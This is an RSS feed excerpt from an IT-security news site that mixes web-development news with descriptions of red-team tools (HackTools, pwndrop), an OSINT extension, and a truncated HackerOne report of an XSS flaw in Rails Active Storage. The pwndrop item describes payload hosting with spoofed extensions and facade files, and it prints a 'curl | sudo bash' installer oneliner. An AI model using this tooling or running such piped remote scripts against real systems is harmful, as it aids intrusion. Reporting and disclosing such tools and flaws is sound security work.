<title><![CDATA[Webpack 5 ist da und führt Killer-Feature für Microfrontends ein]]></title>
<description><![CDATA[Der Bundler erfährt mit dem fünften Major Release einige Breaking Changes. Die wohl bedeutendste Neuerung: Module Federation. Anzeige. Zweieinhalb Jahre nach dem Release von Webpack 4 hat der Bundler mit Version 5 jetzt erneut ein Update ...]]></description>
<link>https://tsecurity.de/de/1263080/it-nachrichten/webpack-5-ist-da-und-fuehrt-killer-feature-fuer-microfrontends-ein/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1263080/it-nachrichten/webpack-5-ist-da-und-fuehrt-killer-feature-fuer-microfrontends-ein/</guid>
<pubDate>Mon, 12 Oct 2020 19:02:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Der Bundler erfährt mit dem fünften Major Release einige Breaking Changes. Die wohl bedeutendste Neuerung: Module Federation. Anzeige. Zweieinhalb Jahre nach dem Release von Webpack 4 hat der Bundler mit Version 5 jetzt erneut ein Update ...]]></content:encoded>
</item>
<item>
<title><![CDATA[Ruby on Rails: XSS by file (Active Storage `Proxying`)]]></title>
<description><![CDATA[Hello, I&#x27;ve seen similar issues with #407319 and #429868 occur with Active Storage&#x27;s new File serving strategies Proxying. Commit is https://github.com/rails/rails/commit/dfb5a82b259e134eac89784ac4ace0c44d1b4aee. ```ruby https://github.com/rails/rails/blob/master/activestorage/app/contr...]]></description>
<link>https://tsecurity.de/de/1225472/sicherheitsluecken/ruby-on-rails-xss-by-file-active-storage-proxying/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1225472/sicherheitsluecken/ruby-on-rails-xss-by-file-active-storage-proxying/</guid>
<pubDate>Wed, 02 Sep 2020 03:15:47 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<br><img height="200" width="200" src="http://vulners.com/static/img/hackerone.png" alt="image"><br>Hello, I&amp;#x27;ve seen similar issues with #407319 and #429868 occur with Active Storage&amp;#x27;s new File serving strategies Proxying. Commit is https://github.com/rails/rails/commit/dfb5a82b259e134eac89784ac4ace0c44d1b4aee. ```ruby https://github.com/rails/rails/blob/master/activestorage/app/controllers/concerns/active_storage/set_headers.rb#L9   response.headers[&amp;quot;Content-Disposition&amp;quot;] = ActionDispatch::Http::ContentDisposition.format \     disposition: params[:disposition] || &amp;quot;inline&amp;quot;, filename: blob.filename.  ``` ```ruby https://github.com/rails/rails/blob/master/activestorage/app/controllers/active_storage/blobs/proxy_controller.rb Proxy files through application. This avoids having a redirect and makes files easier to cache. class ActiveStorage::Blobs::ProxyController &amp;lt; ActiveStorage::BaseController   include ActiveStorage::SetBlob   include ActiveStorage::SetHeaders def show     http_cache_forever public: true do       set_content_headers_from @blob       stream @blob     end   end end ``` Since inline can be set regardless of the file type, XSS is possible when a malicious file is uploaded. Proof of concept 1. Preparing the server $ rails new proxy_xss --skip-bundle --skip-webpack-install $ cd proxy_xss/ Edit Gemfile. ```ruby source &amp;#x27;https://rubygems.org&amp;#x27; git_source(:github) { |repo| &amp;quot;https://github.com/#{repo}.git&amp;quot; } ruby &amp;#x27;2.7.1&amp;#x27; gem &amp;#x27;rails&amp;#x27;, github: &amp;quot;rails/rails&amp;quot;, branch: &amp;quot;master&amp;quot; gem &amp;#x27;sqlite3&amp;#x27;, &amp;#x27;~&amp;gt; 1.4&amp;#x27; gem &amp;#x27;puma&amp;#x27;, &amp;#x27;~&amp;gt; 4.1&amp;#x27; gem &amp;#x27;bootsnap&amp;#x27;, &amp;#x27;&amp;gt;= 1.4.2&amp;#x27;, require: false group...]]></content:encoded>
</item>
<item>
<title><![CDATA[Hack-Tools - The All-In-One Red Team Extension For Web Pentester]]></title>
<description><![CDATA[The all-in-one Red Team browser extension for Web PentestersHackTools, is a web extension facilitating your web application penetration tests, it includes cheat sheets as well as all the tools used during a test such as XSS payloads, Reverse shells and much more.With the extension you no longer n...]]></description>
<link>https://tsecurity.de/de/1220117/it-security-nachrichten/hack-tools-the-all-in-one-red-team-extension-for-web-pentester/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1220117/it-security-nachrichten/hack-tools-the-all-in-one-red-team-extension-for-web-pentester/</guid>
<pubDate>Thu, 27 Aug 2020 01:02:10 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="separator"><a href="https://1.bp.blogspot.com/-1AsbX1dD4VM/XzoTUt5PjlI/AAAAAAAATj4/c8jEPOuU9vYhphPyvr9u7kON_xFiV87QwCNcBGAsYHQ/s1600/Hack-Tools_7.png" imageanchor="1"><img border="0" data-original-height="1201" data-original-width="1600" height="480" src="https://1.bp.blogspot.com/-1AsbX1dD4VM/XzoTUt5PjlI/AAAAAAAATj4/c8jEPOuU9vYhphPyvr9u7kON_xFiV87QwCNcBGAsYHQ/s640/Hack-Tools_7.png" width="640"></a></div><br><b>The all-in-one <a href="https://www.kitploit.com/search/label/Red%20Team" target="_blank" title="Red Team">Red Team</a> browser extension for <strong>Web Pentesters</strong></b><br>HackTools, is a web extension facilitating your <strong>web application penetration tests</strong>, it includes <strong>cheat sheets</strong> as well as all the <strong>tools</strong> used during a test such as XSS payloads, Reverse shells and much more.<br>With the extension you <strong>no longer need to search for payloads in different websites</strong> or in your local storage space, most of the tools are accessible in one click. HackTools is accessible either in <strong>pop up mode</strong> or in a whole tab in the <strong>Devtools</strong> part of the browser with F12.<br><a name="more"></a><br><b>Current functions:</b><br><ul><li>Dynamic Reverse Shell generator (PHP, Bash, Ruby, Python, Perl, Netcat)</li><li>Shell Spawning (TTY Shell Spawning)</li><li>XSS Payloads</li><li>Basic SQLi payloads</li><li>Local file inclusion payloads (LFI)</li><li>Base64 <a href="https://www.kitploit.com/search/label/Encoder" target="_blank" title="Encoder">Encoder</a> / Decoder</li><li>Hash <a href="https://www.kitploit.com/search/label/Generator" target="_blank" title="Generator">Generator</a> (MD5, SHA1, SHA256, SHA512)</li><li>Useful Linux commands (Port Forwarding, SUID)</li></ul><br><span><b>Preview</b></span><br><div><br><div class="separator"><a href="https://1.bp.blogspot.com/-1AsbX1dD4VM/XzoTUt5PjlI/AAAAAAAATj4/c8jEPOuU9vYhphPyvr9u7kON_xFiV87QwCNcBGAsYHQ/s1600/Hack-Tools_7.png" imageanchor="1"><img border="0" data-original-height="1201" data-original-width="1600" height="480" src="https://1.bp.blogspot.com/-1AsbX1dD4VM/XzoTUt5PjlI/AAAAAAAATj4/c8jEPOuU9vYhphPyvr9u7kON_xFiV87QwCNcBGAsYHQ/s640/Hack-Tools_7.png" width="640"></a></div><br><div class="separator"><a href="https://1.bp.blogspot.com/-sJBz-Oqxi_A/XzoTUqkw53I/AAAAAAAATj8/cBNz0HeYppcI2w4iwX5OtB3UJn2f1NZogCNcBGAsYHQ/s1600/Hack-Tools_8.png" imageanchor="1"><img border="0" data-original-height="1201" data-original-width="1600" height="480" src="https://1.bp.blogspot.com/-sJBz-Oqxi_A/XzoTUqkw53I/AAAAAAAATj8/cBNz0HeYppcI2w4iwX5OtB3UJn2f1NZogCNcBGAsYHQ/s640/Hack-Tools_8.png" width="640"></a></div><br><div class="separator"><a href="https://1.bp.blogspot.com/-6pnw8d7KwLo/XzoTUh64JjI/AAAAAAAATj0/zpRwue8gFCUQoAuPA2eOKlYLC9xydzENQCNcBGAsYHQ/s1600/Hack-Tools_9.png" imageanchor="1"><img border="0" data-original-height="1201" data-original-width="1600" height="480" src="https://1.bp.blogspot.com/-6pnw8d7KwLo/XzoTUh64JjI/AAAAAAAATj0/zpRwue8gFCUQoAuPA2eOKlYLC9xydzENQCNcBGAsYHQ/s640/Hack-Tools_9.png" width="640"></a></div></div><span><b>Install the application</b></span><br><br><b>Chromium based browser</b><br>All the available releases are <a href="https://github.com/LasCC/Hack-Tools/releases" rel="nofollow" target="_blank" title="here.">here.</a>.<br>Otherwise, if you want to build the project yourself from the source code<br><br><b>Mozilla Firefox</b><br>You can download <strong>HackTools</strong> on the Firefox browser <a href="https://www.kitploit.com/search/label/Add-ons" target="_blank" title="add-ons">add-ons</a> <a href="https://addons.mozilla.org/en-US/firefox/addon/hacktools/" rel="nofollow" target="_blank" title="here.">here.</a><br><br><span><b>Build from source code</b></span><br><div><pre><code>yarn install &amp;&amp; yarn build</code></pre></div>Once the build is done correctly, webpack will create a new folder called <strong>dist</strong><br>After that you need to go to the <strong>extension</strong> tab on your chrome based navigator and turn on the<br><strong><br></strong><strong>developer mode</strong><br><div class="separator"><a href="https://1.bp.blogspot.com/-wNG9pZ5VTzg/XzoTilI5psI/AAAAAAAATkA/UCUttWK_2rE0xKPlZ41oXsleOH8Eq0NnACNcBGAsYHQ/s1600/Hack-Tools_10.png" imageanchor="1"><img border="0" data-original-height="130" data-original-width="287" src="https://1.bp.blogspot.com/-wNG9pZ5VTzg/XzoTilI5psI/AAAAAAAATkA/UCUttWK_2rE0xKPlZ41oXsleOH8Eq0NnACNcBGAsYHQ/s1600/Hack-Tools_10.png"></a></div><br>Then click on the <strong>load unpacked</strong> button in the top left corner<br><div class="separator"><a href="https://1.bp.blogspot.com/-gHMtkLyI80Y/XzoTlwGPjtI/AAAAAAAATkM/CvqR6fgKgDwY7biC5Z705XeSa4QK9s7IACNcBGAsYHQ/s1600/Hack-Tools_11.png" imageanchor="1"><img border="0" data-original-height="126" data-original-width="563" src="https://1.bp.blogspot.com/-gHMtkLyI80Y/XzoTlwGPjtI/AAAAAAAATkM/CvqR6fgKgDwY7biC5Z705XeSa4QK9s7IACNcBGAsYHQ/s1600/Hack-Tools_11.png"></a></div><br>Once you clicked on the button you just need to select the <strong>dist folder</strong> and that's it !<br><div class="separator"><a href="https://1.bp.blogspot.com/-DcimhgAHTKk/XzoTpgm1qMI/AAAAAAAATkQ/-bnwcEMisHU1_EVYfVlluLnSYlvjKFG7gCNcBGAsYHQ/s1600/Hack-Tools_12.png" imageanchor="1"><img border="0" data-original-height="455" data-original-width="802" height="363" src="https://1.bp.blogspot.com/-DcimhgAHTKk/XzoTpgm1qMI/AAAAAAAATkQ/-bnwcEMisHU1_EVYfVlluLnSYlvjKFG7gCNcBGAsYHQ/s640/Hack-Tools_12.png" width="640"></a></div><br><span><b>Authors</b></span><br><strong>Ludovic COULON &amp; Riadh BOUCHAHOUA</strong><br><br><br><div><b><span><a class="kiploit-download" href="https://github.com/LasCC/Hack-Tools" rel="nofollow" target="_blank" title="Download Hack-Tools">Download Hack-Tools</a></span></b></div><img src="http://feeds.feedburner.com/~r/PentestTools/~4/40sICXRd1WM" height="1" width="1" alt="">]]></content:encoded>
</item>
<item>
<title><![CDATA[Pwndrop - Self-Deployable File Hosting Service For Red Teamers, Allowing To Easily Upload And Share Payloads Over HTTP And WebDAV]]></title>
<description><![CDATA[pwndrop is a self-deployable file hosting service for sending out red teaming payloads or securely sharing your private files over HTTP and WebDAV.If you've ever needed to quickly set up an nginx/apache web server to host your files and you were never happy with the limitations of python -m Simpl...]]></description>
<link>https://tsecurity.de/de/1089376/it-security-nachrichten/pwndrop-self-deployable-file-hosting-service-for-red-teamers-allowing-to-easily-upload-and-share-payloads-over-http-and-webdav/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1089376/it-security-nachrichten/pwndrop-self-deployable-file-hosting-service-for-red-teamers-allowing-to-easily-upload-and-share-payloads-over-http-and-webdav/</guid>
<pubDate>Fri, 17 Apr 2020 15:31:22 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="separator"><a href="https://1.bp.blogspot.com/-dXw95CEd1-4/Xpj0L6K042I/AAAAAAAASPo/i2ClkxCXp7ctcyoQ6EoBE2nBdp4UFJvvwCNcBGAsYHQ/s1600/pwndrop_3_demo1.gif" imageanchor="1"><img border="0" data-original-height="560" data-original-width="955" height="374" src="https://1.bp.blogspot.com/-dXw95CEd1-4/Xpj0L6K042I/AAAAAAAASPo/i2ClkxCXp7ctcyoQ6EoBE2nBdp4UFJvvwCNcBGAsYHQ/s640/pwndrop_3_demo1.gif" width="640"></a></div><div align="center"><br></div><strong>pwndrop</strong> is a self-deployable file hosting service for sending out <a href="https://www.kitploit.com/search/label/Red%20Teaming" target="_blank" title="red teaming">red teaming</a> payloads or securely sharing your private files over HTTP and WebDAV.<br>If you've ever needed to quickly set up an nginx/apache web server to host your files and you were never happy with the limitations of <code>python -m SimpleHTTPServer</code>, <strong>pwndrop</strong> is definitely for you!<br><div align="center">  </div>With <strong>pwndrop</strong> you can:<br><ul class="contains-task-list"><li class="task-list-item">Upload and immediately share multiple files using your own private VPS, using drag &amp; drop.</li><li class="task-list-item">Decide to make files available or unavailable for download with a single click.</li><li class="task-list-item">Set up custom download URLs, for shared files, without playing with directory structure.</li><li class="task-list-item">Set up facade files, which will be served instead of the original file whenever you feel like it.</li><li class="task-list-item">Set up automatic redirects to spoof the file's extension in a shared link.</li><li class="task-list-item">Change MIME type of the served file to change browser's behavior when a download link is clicked.</li><li class="task-list-item">Serve files over HTTP, HTTPS and WebDAV.</li><li class="task-list-item">Install and setup everything using a bash oneliner.</li><li class="task-list-item">Set up <strong>pwndrop</strong> to work as a nameserver and respond with a valid DNS A record to any sub-domain you choose.</li><li class="task-list-item">Protect your <a href="https://www.kitploit.com/search/label/Admin%20Panel" target="_blank" title="admin panel">admin panel</a> behind a custom secret URL path and log in securely with your own username and password.</li><li class="task-list-item">Never worry about setting up HTTPS <a href="https://www.kitploit.com/search/label/Certificates" target="_blank" title="certificates">certificates</a> as <strong>pwndrop</strong> does everything for you in the background (including auto-renewals).</li></ul>Its main goal is to make <a href="https://www.kitploit.com/search/label/File%20Sharing" target="_blank" title="file sharing">file sharing</a> as easy and intuitive as possible, while implementing extra features to aid in red team assessments.<br>Frontend of <strong>pwndrop</strong> is developed in pure Vue.js + Bootstrap with no npm or webpack dependencies. The backend serves <a href="https://www.kitploit.com/search/label/REST%20API" target="_blank" title="REST API">REST API</a> and manages a local database, powered by GO language.<br><a name="more"></a><br><span><b>Write-up</b></span><br>If you want to learn how to use <strong>pwndrop</strong> or you want to learn what new features were implemented in recent releases, make sure to check out the posts on my blog:<br><a href="https://breakdev.org/pwndrop" rel="nofollow" target="_blank" title="https://breakdev.org/pwndrop">https://breakdev.org/pwndrop</a><br><br><span><b>Prerequisites</b></span><br>If you don't yet have the server to deploy to I highly recommend Digital Ocean. The cheapest $5/mo Debian 9 server with 25GB of storage space will work wonders for you. You can use my referral link to <a href="https://m.do.co/c/50338abc7ffe" rel="nofollow" target="_blank" title="get an extra $100 to spend on your servers in 60 days for free">get an extra $100 to spend on your servers in 60 days for free</a>.<br>Register a new domain and point its DNS A records to your VPS IP. You can also register a domain and point its <code>ns1</code> and <code>ns2</code> nameservers to <strong>pwndrop</strong> instance IP - it will automatically respond with valid DNS A replies.<br><ol><li>Registered domain name pointing to <strong>pwndrop</strong> instance IP as a DNS A records or as a nameserver.</li><li>Server with at least 512 MB RAM.</li></ol>If you want to set up <strong>pwndrop</strong> without a domain, check below how to set up a local instance, which will not auto-generate HTTPS certificates.<br><br><span><b>Installation</b></span><br>Make sure there aren't any DNS or HTTP(S) servers running before you attempt to install <strong>pwndrop</strong>.<br><br><span><b>Oneliner</b></span><br>I do not recommend running oneliners, before downloading and checking the script code, but if you are really in a hurry, here it is:<br><pre><code>curl https://raw.githubusercontent.com/kgretzky/pwndrop/master/install_linux.sh | sudo bash</code></pre>This will download the latest amd64 release binary and fully install a daemon running in a background.<br><br><span><b>From binary</b></span><br>First you need to download the release package you want from: <a href="https://github.com/kgretzky/pwndrop/releases" rel="nofollow" target="_blank" title="https://github.com/kgretzky/pwndrop/releases">https://github.com/kgretzky/pwndrop/releases</a><br>Then do the following (this performs same actions to the oneliner):<br><pre><code>tar zxvf pwndrop-linux-amd64.tar.gz<br>./pwndrop stop<br>./pwndrop install<br>./pwndrop start<br>./pwndrop status</code></pre><br><span><b>From source code</b></span><br>First of all, make sure you have installed GO with version at least <strong>1.13</strong>: <a href="https://golang.org/doc/install" rel="nofollow" target="_blank" title="https://golang.org/doc/install">https://golang.org/doc/install</a><br>Then do the following:<br><pre><code>git clone https://github.com/kgretzky/pwndrop<br>cd pwndrop<br>make<br>make install</code></pre><br><span><b>Quickstart</b></span><br>Make sure the <strong>pwndrop</strong> is running.<br><ol><li>Open the secret URL to authorize your browser: <code>https://yourdomain.com/pwndrop</code> (this is a default value; make sure to use the secret path, you've pre-configured)</li><li>Open the admin panel URL in your browser: <code>https://yourdomain.com/</code> (since you've authorized your browser, you will now see an admin panel login page)</li><li>Create your admin account or login.</li><li>Click the configuration cog in top-left corner and make sure you change the secret path to something other than <code>/pwndrop</code>.</li></ol>You're good to go!<br><br><span><b>Running from CLI</b></span><br>You don't have to install <strong>pwndrop</strong> as a daemon and you can run it straight from the console.<br><pre><code>usage: pwndrop [start|stop|install|remove|status] [-config &lt;config_path&gt;] [-debug] [-no-autocert] [-no-dns] [-h]<br><br>daemon management:<br>    start           : start the daemon<br>    stop            : stop the daemon<br>    install         : install the daemon using the available system manager (systemd, systemv and upstart supported)<br>    remove          : uninstall the daemon<br>    status          : check status of the installed daemon<br><br>parameters:<br>    -config         : specify a custom path to a config file (def. 'pwndrop.ini' in same directory as the executable)<br>    -debug          : enable debug output <br>    -no-autocert    : disable automatic TLS certificate retrieval from LetsEncrypt; useful when you want to connect over IP or/and in a local network<br>    -no-dns         : do not run a DNS server on port 53 UDP; use this if you don't want to use pwndrop as a nameserver<br>    -h              : usage help</code></pre><br><span><b>Configuration</b></span><br>On first launch, <strong>pwndrop</strong>, by default, will create a new configuration file <code>pwndrop.ini</code> in the same directory as an executable. You can later modify it or supply your own, for example to pre-configure <strong>pwndrop</strong> before the installation to automate the deployment of a tool even better.<br>Here is an example config file with all available config variables with commentary:<br><pre><code>[pwndrop]<br>listen_ip = "190.33.86.22"                  # the external IP of your pwndrop instance (must be set if you want to use the nameserver feature)<br>http_port = 80                              # listening port for HTTP and WebDAV<br>https_port = 443                            # listening port for HTTPS<br>data_dir = "./data"                         # directory path where data storage will reside (relative paths are from executable directory path)<br>admin_dir = "./admin"                       # directory path where the admin panel files reside (relative paths are from executable directory path)<br><br>[setup]                                     # optional: put in if you want to pre-configure pwndrop (section will be deleted from the config file on first run)<br>username = "admin"                          # username of the admin account<br>password = "secretpassword"                 # password of the admin account<br>redirect_url = "https://www.somedomai   n.com" # URL to which visitors will be redirected to if they supply a path, which doesn't point to any shared file (put blank if you want to return 404)<br>secret_path = "/pwndrop"                    # secret URL path, which upon visiting will allow your browser to access the login page of the admin panel (make sure to change the default value)</code></pre>If you want to pre-configure your <strong>pwndrop</strong> instance before deployment using any of the installation scripts, put your configuration file at <code>/usr/local/pwndrop/pwndrop.ini</code> and it will be parsed the moment <strong>pwndrop</strong> daemon is first executed.<br><br><span><b>Credits</b></span><br>Huge thanks to <a href="https://twitter.com/jaredhaight" rel="nofollow" target="_blank" title="Self-deployable file hosting service for red teamers, allowing to easily upload and share payloads over HTTP and WebDAV. (13)"><strong>@jaredhaight</strong></a> for inspiring me to learn Vue, with his <a href="https://www.factionc2.com/" rel="nofollow" target="_blank" title="Faction C2">Faction C2</a> framework!<br>Also much thanks to all the people who gave me pre-release feedback and supported me with their opinions on the tool!<br><br><span><b>License</b></span><br><strong>pwndrop</strong> is made by Kuba Gretzky (<a href="https://twitter.com/mrgretzky" rel="nofollow" target="_blank" title="@mrgretzky">@mrgretzky</a>) and it's released under GPL3 license.<br><br><br><div><b><span><a class="kiploit-download" href="https://github.com/kgretzky/pwndrop" rel="nofollow" target="_blank" title="Download Pwndrop">Download Pwndrop</a></span></b></div><img src="http://feeds.feedburner.com/~r/PentestTools/~4/GnbqJvaDap4" height="1" width="1" alt="">]]></content:encoded>
</item>
<item>
<title><![CDATA[webpack-dev-server up to 3.1.5 WebSocket Server lib/Server.js Request information disclosure]]></title>
<description><![CDATA[A vulnerability was found in webpack-dev-server up to 3.1.5. It has been rated as critical. This issue affects some unknown processing in the library lib/Server.js of the component WebSocket Server. Upgrading to version 3.1.6 eliminates this vulnerability.]]></description>
<link>https://tsecurity.de/de/1066105/sicherheitsluecken/webpack-dev-server-up-to-315-websocket-server-libserverjs-request-information-disclosure/</link>
<guid isPermaLink="true">https://tsecurity.de/de/1066105/sicherheitsluecken/webpack-dev-server-up-to-315-websocket-server-libserverjs-request-information-disclosure/</guid>
<pubDate>Thu, 26 Mar 2020 14:18:02 +0100</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability was found in <a href="https://vuldb.com/?product.webpack-dev-server">webpack-dev-server up to 3.1.5</a>. It has been rated as critical. This issue affects some unknown processing in the library <em>lib/Server.js</em> of the component <em>WebSocket Server</em>. Upgrading to version 3.1.6 eliminates this vulnerability.]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Takes AMP to the OpenJS Foundation]]></title>
<description><![CDATA[An anonymous reader quotes TechCrunch:

AMP, Google's somewhat controversial project for speeding up the mobile web, has always been open-source, but it also always felt like a Google project first. Thursday, however, Google announced that the AMP framework will join the OpenJS Foundation, the Li...]]></description>
<link>https://tsecurity.de/de/890766/it-security-nachrichten/google-takes-amp-to-the-openjs-foundation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/890766/it-security-nachrichten/google-takes-amp-to-the-openjs-foundation/</guid>
<pubDate>Sun, 13 Oct 2019 19:31:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[An anonymous reader quotes TechCrunch:

AMP, Google's somewhat controversial project for speeding up the mobile web, has always been open-source, but it also always felt like a Google project first. Thursday, however, Google announced that the AMP framework will join the OpenJS Foundation, the Linux Foundation-based group that launched last year after the merger of the Node.js and JS foundations. The OpenJS Foundation is currently the home of projects like jQuery, Node.js and webpack, and AMP will join the Foundation's incubation program... 

Google also notes that the OpenJS Foundation's goal of promoting JavaScript and related technologies is a good fit for AMP's mission of providing "a user-first format for web content." The company also notes that the Foundation allows projects to maintain their identities and technical focus and stresses that AMP's governance model was already influenced by the JS Foundation and Node.js Foundation. 

Google is currently a top-level platinum member of the OpenJS Foundation and will continue to support the project and employ a number of engineers that will work on AMP full-time.<p></p>
<div class="share_submission">
<a class="slashpop" href="http://twitter.com/home?status=Google+Takes+AMP+to+the+OpenJS+Foundation%3A+http%3A%2F%2Fbit.ly%2F2nLevOg"><img src="https://a.fsdn.com/sd/twitter_icon_large.png"></a>
<a class="slashpop" href="http://www.facebook.com/sharer.php?u=https%3A%2F%2Ftech.slashdot.org%2Fstory%2F19%2F10%2F12%2F0257204%2Fgoogle-takes-amp-to-the-openjs-foundation%3Futm_source%3Dslashdot%26utm_medium%3Dfacebook"><img src="https://a.fsdn.com/sd/facebook_icon_large.png"></a>

<a class="nobg" href="http://plus.google.com/share?url=https://tech.slashdot.org/story/19/10/12/0257204/google-takes-amp-to-the-openjs-foundation?utm_source=slashdot&amp;utm_medium=googleplus"><img src="https://www.gstatic.com/images/icons/gplus-16.png" alt="Share on Google+"></a>



</div>
<p><a href="https://tech.slashdot.org/story/19/10/12/0257204/google-takes-amp-to-the-openjs-foundation?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Mitaka - A Browser Extension For OSINT Search]]></title>
<description><![CDATA[Mitaka is a browser extension for OSINT search which can:
Extract & refang IoC from a selected block of text.  E.g. example[.]com to example.com, test[at]example.com to test@example.com, hxxp://example.com to http://example.com, etc.

Search / scan it on various engines.  E.g. VirusTotal, urlscan...]]></description>
<link>https://tsecurity.de/de/872818/it-security-nachrichten/mitaka-a-browser-extension-for-osint-search/</link>
<guid isPermaLink="true">https://tsecurity.de/de/872818/it-security-nachrichten/mitaka-a-browser-extension-for-osint-search/</guid>
<pubDate>Sat, 21 Sep 2019 14:31:29 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[
<div class="separator"><a href="https://1.bp.blogspot.com/-9cslz9huO_U/XYAeBJbmtNI/AAAAAAAAQXo/vfBLw3xqV-stKkRe0MzCd4fOhcbHSMVCwCNcBGAsYHQ/s1600/mitaka_8_eyecatch.png" imageanchor="1"><img border="0" data-original-height="134" data-original-width="867" height="98" src="https://1.bp.blogspot.com/-9cslz9huO_U/XYAeBJbmtNI/AAAAAAAAQXo/vfBLw3xqV-stKkRe0MzCd4fOhcbHSMVCwCNcBGAsYHQ/s640/mitaka_8_eyecatch.png" width="640"></a></div>
<br>Mitaka is a browser extension for <a href="https://www.kitploit.com/search/label/OSINT" target="_blank" title="OSINT">OSINT</a> search which can:<br><ul>
<li>Extract &amp; refang IoC from a selected block of text.  <ul><li>E.g. <code>example[.]com</code> to <code>example.com</code>, <code>test[at]example.com</code> to <code>test@example.com</code>, <code>hxxp://example.com</code> to <code>http://example.com</code>, etc.</li></ul>
</li>
<li>Search / scan it on various engines.  <ul><li>E.g. VirusTotal, urlscan.io, Censys, Shodan, etc.</li></ul>
</li>
</ul>
<a name="more"></a><br><span><b>Features</b></span><br><br><b>Supported IOC types</b><br><table><tbody>
<tr>
<th align="left">name</th>  <th align="left">desc.</th>  <th align="left">e.g.</th>  </tr>
<tr>
<td align="left">text</td>  <td align="left">Freetext</td>  <td align="left">any string(s)</td>  </tr>
<tr>
<td align="left">ip</td>  <td align="left">IPv4 address</td>  <td align="left"><code>8.8.8.8</code></td>  </tr>
<tr>
<td align="left">domain</td>  <td align="left">Domain name</td>  <td align="left"><code>github.com</code></td>  </tr>
<tr>
<td align="left">url</td>  <td align="left">URL</td>  <td align="left"><code>https://github.com</code></td>  </tr>
<tr>
<td align="left">email</td>  <td align="left">Email address</td>  <td align="left"><code>test@test.com</code></td>  </tr>
<tr>
<td align="left">asn</td>  <td align="left">ASN</td>  <td align="left"><code>AS13335</code></td>  </tr>
<tr>
<td align="left">hash</td>  <td align="left">md5 / sha1 / sha256</td>  <td align="left"><code>44d88612fea8a8f36de82e1278abb02f</code></td>  </tr>
<tr>
<td align="left">cve</td>  <td align="left">CVE number</td>  <td align="left"><code>CVE-2018-11776</code></td>  </tr>
<tr>
<td align="left">btc</td>  <td align="left">BTC address</td>  <td align="left"><code>1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa</code></td>  </tr>
<tr>
<td align="left">gaPubID</td>  <td align="left">Google Adsense Publisher ID</td>  <td align="left"><code>pub-9383614236930773</code></td>  </tr>
<tr>
<td align="left">gaTrackID</td>  <td align="left">Google <a href="https://www.kitploit.com/search/label/Analytics" target="_blank" title="Analytics">Analytics</a> Tracker ID</td>  <td align="left"><code>UA-67609351-1</code></td>  </tr>
</tbody></table>
<br><b>Supported search engines</b><br><table><tbody>
<tr>
<th align="left">name</th>  <th align="left">url</th>  <th align="left">supported types</th>  </tr>
<tr>
<td align="left">AbuseIPDB</td>  <td align="left"><a href="https://www.abuseipdb.com/" rel="nofollow" target="_blank" title="https://www.abuseipdb.com">https://www.abuseipdb.com</a></td>  <td align="left">ip</td>  </tr>
<tr>
<td align="left">archive.org</td>  <td align="left"><a href="https://archive.org/" rel="nofollow" target="_blank" title="https://archive.org">https://archive.org</a></td>  <td align="left">url</td>  </tr>
<tr>
<td align="left">archive.today</td>  <td align="left"><a href="http://archive.fo/" rel="nofollow" target="_blank" title="http://archive.fo">http://archive.fo</a></td>  <td align="left">url</td>  </tr>
<tr>
<td align="left">BGPView</td>  <td align="left"><a href="https://bgpview.io/" rel="nofollow" target="_blank" title="https://bgpview.io">https://bgpview.io</a></td>  <td align="left">ip / asn</td>  </tr>
<tr>
<td align="left">BinaryEdge</td>  <td align="left"><a href="https://app.binaryedge.io/" rel="nofollow" target="_blank" title="https://app.binaryedge.io">https://app.binaryedge.io</a></td>  <td align="left">ip / domain</td>  </tr>
<tr>
<td align="left">BitcoinAbuse</td>  <td align="left"><a href="https://www.bitcoinabuse.com/" rel="nofollow" target="_blank" title="https://www.bitcoinabuse.com">https://www.bitcoinabuse.com</a></td>  <td align="left">btc</td>  </tr>
<tr>
<td align="left">Blockchain.com</td>  <td align="left"><a href="https://www.blockchain.com/" rel="nofollow" target="_blank" title="https://www.blockchain.com">https://www.blockchain.com</a></td>  <td align="left">btc</td>  </tr>
<tr>
<td align="left">BlockCypher</td>  <td align="left"><a href="https://live.blockcypher.com/" rel="nofollow" target="_blank" title="https://live.blockcypher.com">https://live.blockcypher.com</a></td>  <td align="left">btc</td>  </tr>
<tr>
<td align="left">Censys</td>  <td align="left"><a href="https://censys.io/" rel="nofollow" target="_blank" title="https://censys.io">https://censys.io</a></td>  <td align="left">ip / domain / asn / text</td>  </tr>
<tr>
<td align="left">crt.sh</td>  <td align="left"><a href="https://crt.sh/" rel="nofollow" target="_blank" title="https://crt.sh">https://crt.sh</a></td>  <td align="left">domain</td>  </tr>
<tr>
<td align="left">DNSlytics</td>  <td align="left"><a href="https://dnslytics.com/" rel="nofollow" target="_blank" title="https://dnslytics.com">https://dnslytics.com</a></td>  <td align="left">ip / domain</td>  </tr>
<tr>
<td align="left">DomainBigData</td>  <td align="left"><a href="https://domainbigdata.com/" rel="nofollow" target="_blank" title="https://domainbigdata.com">https://domainbigdata.com</a></td>  <td align="left">domain</td>  </tr>
<tr>
<td align="left">DomainTools</td>  <td align="left"><a href="https://www.domaintools.com/" rel="nofollow" target="_blank" title="https://www.domaintools.com">https://www.domaintools.com</a></td>  <td align="left">ip / domain</td>  </tr>
<tr>
